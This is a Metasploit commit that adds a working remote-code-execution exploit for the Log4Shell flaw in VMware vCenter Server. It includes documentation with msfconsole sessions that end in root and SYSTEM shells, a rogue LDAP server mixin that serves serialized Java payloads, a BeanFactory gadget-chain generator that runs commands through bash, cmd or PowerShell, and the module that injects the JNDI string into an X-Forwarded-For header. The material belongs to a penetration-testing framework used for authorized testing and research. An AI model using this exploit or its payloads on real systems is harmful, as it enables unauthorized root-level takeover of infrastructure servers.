Land #16050, Log4Shell: vCenter RCE

Merge branch 'land-16050' into upstream-master
This commit is contained in:
bwatters 2022-01-19 16:30:33 -06:00
commit 4cf3ae352c
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
9 changed files with 662 additions and 91 deletions

View File

@ -0,0 +1,140 @@
## Vulnerable Application
### Description
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
Windows.
This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
vector.
### Setup
Once vCenter is installed, no configuration needs to take place. The application is vulnerable out of the box.
### Linux Appliance
Follow the steps from the [vmware_vcenter_uploadova_rce][1] module.
In summary:
1. Obtain a `VMware-VCSA-all-6.7.0-#####.iso` file, the example will assume VMware-VCSA-all-6.7.0-11726888.iso.
2. Mount the ISO and extract the OVA file from under the `vcsa` directory.
3. Import it into VMware workstation, leave all options blank.
4. When prompted to select a size, select tiny or small.
5. The system will boot once, wait for a few minutes and then automatically reboot.
6. Once the system has booted the second time, access the console to set the root password.
7. Navigate to the HTTPS site on port 5480. The host IP address will be on the console.
8. Complete the setup steps, when prompted use a public NTP server instead of synchronizing with the non-existent ESX
server.
9. Wait for setup to complete, and then exploit the service listening on port 443.
### Windows Application
1. Obtain a `VMware-VIM-all-6.7.0-#####.iso` file.
2. Mount the file in a Windows server, (use Server 2016 **not** Server 2019).
3. Run the setup file in the root of the CD.
4. Complete the setup process.
5. Wait for setup to complete, and then exploit the service listening on port 443.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/multi/http/vmware_vcenter_log4shell`
3. Set the `RHOSTS`, `TARGET`, `PAYLOAD`, and payload associated options
4. Do: `run`
5. If the target is vulnerable, the payload should be executed
## Options
## Scenarios
### VMware vCenter Server 6.7 Build 17028632 / Update 1b (Linux appliance)
```
msf6 > use exploit/multi/http/vmware_vcenter_log4shell
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.55
RHOSTS => 192.168.159.55
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Linux
TARGET => Linux
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf6 exploit(multi/http/vmware_vcenter_log4shell) > check
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.55:443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] 192.168.159.55:443 - The target is vulnerable.
msf6 exploit(multi/http/vmware_vcenter_log4shell) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.55:443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.55:48454 ) at 2022-01-13 12:38:14 -0500
[*] Server stopped.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/
```
### VMware vCenter Server 6.7.0 Build 16708996 (Windows)
In this example, the target server is running on the non-default port of 8443.
```
msf6 > use exploit/multi/http/vmware_vcenter_log4shell
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.45
RHOSTS => 192.168.159.45
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Windows
TARGET => Windows
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RPORT 8443
RPORT => 8443
msf6 exploit(multi/http/vmware_vcenter_log4shell) > check
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.45:8443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] 192.168.159.45:8443 - The target is vulnerable.
msf6 exploit(multi/http/vmware_vcenter_log4shell) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.45:8443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Sending stage (175174 bytes) to 192.168.159.45
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.45:63083 ) at 2022-01-13 14:22:00 -0500
[*] Server stopped.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BPID95ACQ7E
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 8
Meterpreter : x86/windows
meterpreter >
```
[1]: https://github.com/rapid7/metasploit-framework/blob/ec37a88a4aecc49ffceaf10a1e8e09d3d15f8bda/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md#setup

View File

@ -23,7 +23,13 @@ module Exploit::JavaDeserialization
raise RuntimeError, 'Invalid shell for Java Deserialization payload generation'
end
Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell)
if name == 'BeanFactory'
blob = Msf::Util::JavaDeserialization::BeanFactory.generate(command, shell: shell)
else
blob = Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell)
end
blob
end
# Generate a binary blob that when deserialized by Java will execute the specified payload. This routine converts the
@ -60,5 +66,11 @@ module Exploit::JavaDeserialization
generate_java_deserialization_for_command(name, shell, command)
end
def self.gadget_chains
chains = Msf::Util::JavaDeserialization.ysoserial_payload_names
chains << 'BeanFactory' # not a ysoserial payload, but still supported
chains.sort
end
end
end

View File

@ -49,7 +49,7 @@ module Exploit::Remote::CheckModule
res = mod.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'Options' => datastore # XXX: This clobbers the datastore!
'Options' => datastore.merge(check_options)
)
# Ensure return value is a CheckCode
@ -78,6 +78,14 @@ module Exploit::Remote::CheckModule
end
end
#
# Override this method to change the datastore options with which the check module is executed.
#
# @return [Hash] The datastore options for the check module.
def check_options
{}
end
def check_module
datastore['CheckModule']
end

View File

@ -0,0 +1,136 @@
# -*- coding: binary -*-
#
# This is a mixin containing methods to facilitate exploiting JNDI injection flaws (such as Log4Shell) by using a
# malicious LDAP server.
#
# See:
# https://www.veracode.com/blog/research/exploiting-jndi-injections-java
# https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
#
module Msf
module Exploit::Remote::JndiInjection
include Msf::Exploit::Java
include Msf::Exploit::JavaDeserialization
include Msf::Exploit::Remote::LDAP::Server
def initialize(info = {})
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Aggressive))
register_advanced_options([
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
])
end
# Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
#
# @return [String] the JNDI string
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
end
## LDAP service callbacks
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
client.write(build_ldap_search_response(pdu.message_id, pdu.search_parameters[:base_object]))
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
else
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{pdu.app_tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
end
resp
end
#
# Generate and serialize the payload as an LDAP search response
#
# @param msg_id [Integer] LDAP message identifier
# @param base_dn [Sting] LDAP distinguished name
#
# @return [Array] packed BER sequence
def build_ldap_search_response(msg_id, base_dn)
attrs = build_ldap_search_response_payload
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
#
# Build the LDAP response to the search request that contains the serialized payload.
#
# @return [Array] the array of attributes to add to the returned search data of the query response.
def build_ldap_search_response_payload
# exploit authors should override this and either call the inline one with a gadget chain that is compatible with
# the target or setup an HTTP server and call the remote one
build_ldap_search_response_payload_inline('BeanFactory')
end
#
# Build the LDAP response to the search request that contains the serialized payload to be executed.
#
# @param [String] gadget_chain The gadget chain to use to execute the payload. This value must be compatible with the
# target application.
# @return [Array] the array of attributes to add to the returned search data of the query response.
def build_ldap_search_response_payload_inline(gadget_chain)
java_payload = generate_java_deserialization_for_payload(gadget_chain, payload)
[
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
]
end
#
# Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class
# will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP
# server from which the class is hosted is not managed by this method.
#
# @param [String] pay_url The URL from which the class should be loaded.
# @param [String] pay_class The payload class name.
# @return [Array] the array of attributes to add to the returned search data of the query response.
def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory')
[
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence,
]
end
def validate_configuration!
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
end
end
end

View File

@ -0,0 +1,186 @@
# -*- coding: binary -*-
require 'stringio'
require 'rex/java'
module Msf
module Util
class JavaDeserialization
class BeanFactory
def self.generate(cmd, shell: nil)
js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"
# emulate the same behavior as the ysoserial-modified series,
# see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
case shell
when 'cmd'
payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
when 'bash'
payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
when 'powershell'
payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
when nil
payload_string << js_escaped
else
raise NotImplementedError, "unsupported shell: #{shell.inspect}"
end
payload_string << ")\")}"
builder = Rex::Java::Serialization::Builder.new
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = [
builder.new_object(
name: 'org.apache.naming.ResourceRef',
serial: 1,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'org.apache.naming.AbstractRef',
serial: 1,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'javax.naming.Reference',
serial: 16773268283643759881,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
).tap { |new_class|
new_class.fields = [
new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
new_field(name: 'className', field_type: new_ref(handle: 8257540))
]
},
),
data: [
builder.new_object(
name: 'java.util.Vector',
serial: 15679138459660562177,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
data: [
['int', 0],
['int', 5],
# stream.contents.first.class_data[0].class_data[2]
builder.new_array(
values_type: 'java.lang.Object;',
name: '[Ljava.lang.Object;',
serial: 10434374826863044972,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
# stream.contents.first.class_data[0].class_data[2].values
values: [
# stream.contents.first.class_data[0].class_data[2].values[0]
builder.new_object(
name: 'javax.naming.StringRefAddr',
serial: 9532981578571046089,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'javax.naming.RefAddr',
serial: 16978578953230397258,
flags: 2,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
).tap { |new_class|
new_class.fields = [
new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
]
},
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
Rex::Java::Serialization::Model::Utf.new(stream)
]
).tap { |new_object|
new_object.class_desc.description.fields = [
new_field(name: 'contents', field_type: new_ref(handle: 8257540))
]
},
# stream.contents.first.class_data[0].class_data[2].values[1]
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
new_ref(handle: 8257551)
]
),
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
]
),
# stream.contents.first.class_data[0].class_data[2].values[3]
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
]
),
# stream.contents.first.class_data[0].class_data[2].values[4]
builder.new_object(
description: new_ref(handle: 8257547),
data: [
Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
]
),
# stream.contents.first.class_data[0].class_data[2].values[5]
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new,
]
)
]
).tap { |new_object|
new_object.class_desc.description.fields = [
new_field(type: 'int', name: 'capacityIncrement'),
new_field(type: 'int', name: 'elementCount'),
new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
]
},
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
Rex::Java::Serialization::Model::NullReference.new
]
),
Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
]
stream.encode
end
class << self
private
# helper methods that are not in Rex::Java::Serialization::Builder
def new_field(opts = {})
name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])
if opts[:field_type].is_a? String
field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])
else
field_type = opts[:field_type]
end
field = Rex::Java::Serialization::Model::Field.new
field.type = opts[:type] || 'object'
field.name = name
field.field_type = field_type
field
end
def new_ref(opts = {})
ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])
ref.handle = opts[:handle]
ref
end
end
end
end
end
end

View File

@ -5,10 +5,8 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::JavaDeserialization
include Msf::Exploit::Java
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::LDAP::Server
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
@ -84,35 +82,30 @@ class MetasploitModule < Msf::Exploit::Remote
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
},
'Stance' => Msf::Exploit::Stance::Aggressive
}
)
register_options([
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
OptEnum.new('JAVA_GADGET_CHAIN', [
true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',
Msf::Util::JavaDeserialization.ysoserial_payload_names
true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1',
Msf::Exploit::JavaDeserialization.gadget_chains
], conditions: %w[TARGET != Automatic]),
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic])
])
end
def check
validate_configuration!
# set these scanner options as appropriate based on the config
datastore['URIS_FILE'] = nil
if !datastore['HTTP_HEADER'].blank?
datastore['HEADERS_FILE'] = nil
end
@checkcode = super
end
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
def check_options
opts = { 'LDAP_TIMEOUT' => datastore['WfsDelay'], 'URIS_FILE' => nil }
opts['HEADERS_FILE'] = nil unless datastore['HTTP_HEADER'].blank?
opts
end
def resource_url_string
@ -151,74 +144,12 @@ class MetasploitModule < Msf::Exploit::Remote
jar
end
#
# Generate and serialize the payload as an LDAP search response
#
# @param msg_id [Integer] LDAP message identifier
# @param base_dn [Sting] LDAP distinguished name
#
# @return [Array] packed BER sequence
def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
def build_ldap_search_response_payload
if target['RemoteLoad']
attrs = [
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
]
build_ldap_search_response_payload_remote(resource_url_string)
else
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
# vprint_good("Serialized java payload: #{java_payload}")
attrs = [
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
]
build_ldap_search_response_payload_inline(datastore['JAVA_GADGET_CHAIN'])
end
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
## LDAP service callbacks
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
else
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{pdu.app_tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
end
resp
end
## HTTP service callbacks
@ -290,6 +221,14 @@ class MetasploitModule < Msf::Exploit::Remote
super
end
def validate_configuration!
super
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
fail_with(Exploit::Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
end
end
private
# Boilerplate HTTP service code
@ -353,11 +292,4 @@ class MetasploitModule < Msf::Exploit::Remote
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
def validate_configuration!
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
end
end
end

View File

@ -0,0 +1,135 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
def initialize(_info = {})
super(
'Name' => 'VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)',
'Description' => %q{
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
Windows.
This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
vector.
},
'Author' => [
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
'jbaines-r7', # vCenter research
'w3bd3vil' # vCenter PoC https://twitter.com/w3bd3vil/status/1469814463414951937
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0028.html' ],
[ 'URL', 'https://twitter.com/w3bd3vil/status/1469814463414951937' ]
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SRVPORT' => 389,
'WfsDelay' => 30,
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
},
'Targets' => [
[
'Windows', {
'Platform' => 'win'
},
],
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [
'auxiliary/scanner/http/log4shell_scanner',
'exploit/multi/http/log4shell_header_injection'
]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end
def check
validate_configuration!
return Exploit::CheckCode::Unknown if tenant.nil?
super
end
def check_options
{
'LDAP_TIMEOUT' => datastore['WfsDelay'],
'HTTP_HEADER' => 'X-Forwarded-For',
'TARGETURI' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
'HEADERS_FILE' => nil,
'URIS_FILE' => nil
}
end
def build_ldap_search_response_payload
return [] if @search_received
@search_received = true
print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('BeanFactory')
end
def tenant
return @tenant unless @tenant.nil?
res = send_request_cgi('uri' => normalize_uri(target_uri, 'ui', 'login'))
return nil unless res&.code == 302
return nil unless res.headers['Location'] =~ %r{websso/SAML2/SSO/([^/]+)\?}
@tenant = Regexp.last_match(1)
end
def trigger
@search_received = false
# HTTP request initiator
send_request_cgi(
'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
'headers' => { 'X-Forwarded-For' => jndi_string }
)
end
def exploit
validate_configuration!
start_service
trigger
sleep(datastore['WfsDelay'])
handler
ensure
cleanup
end
end

View File

@ -25,7 +25,7 @@ RSpec.describe Msf::Util::DotNetDeserialization do
table.each do |gadget_chain, correct_digest|
stream = Msf::Util::DotNetDeserialization.generate(COMMAND, gadget_chain: gadget_chain)
expect(stream).to be_kind_of String
real_digest = OpenSSL::Digest::SHA1.digest(stream).each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
real_digest = OpenSSL::Digest::SHA1.hexdigest(stream)
expect(real_digest).to eq correct_digest
end
end

View File

@ -0,0 +1,22 @@
require 'rex'
RSpec.describe Msf::Util::JavaDeserialization::BeanFactory do
describe '#generate' do
it 'generates the correct gadget chain' do
# this is a quick but important check to ensure consistency of the
# serialized payloads which are deterministic
table = {
'bash' => '9e66df5e4e57e473e6f78e55cbf95708b3ecdf6b',
'cmd' => '534cb3b84daf2290e87f7c325dc2aa0adddcd9b5',
'powershell' => '030fbad1d4fbdc7f49067947273fb295c4a5dc24',
nil => '9a9c678d2073994cec42b1ba74774a345687bcc3'
}
table.each do |shell, correct_digest|
stream = Msf::Util::JavaDeserialization::BeanFactory.generate('ping 127.0.0.1', shell: shell)
expect(stream).to be_kind_of String
real_digest = OpenSSL::Digest::SHA1.hexdigest(stream)
expect(real_digest).to eq correct_digest
end
end
end
end